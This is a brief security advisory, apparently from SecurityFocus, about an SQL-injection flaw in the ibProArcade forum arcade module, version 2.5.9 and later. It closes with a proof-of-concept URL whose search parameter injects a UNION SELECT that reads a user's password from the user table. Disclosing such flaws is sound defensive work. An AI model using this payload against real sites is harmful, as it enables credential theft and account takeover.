source: https://www.securityfocus.com/bid/22575/info

ibProArcade is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 2.5.9+; other versions may also be vulnerable. 

http://www.example.com/forum/arcade.php?act=Arcade%20search_type=0&gsearch=' union select password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from user where userid = USERID /*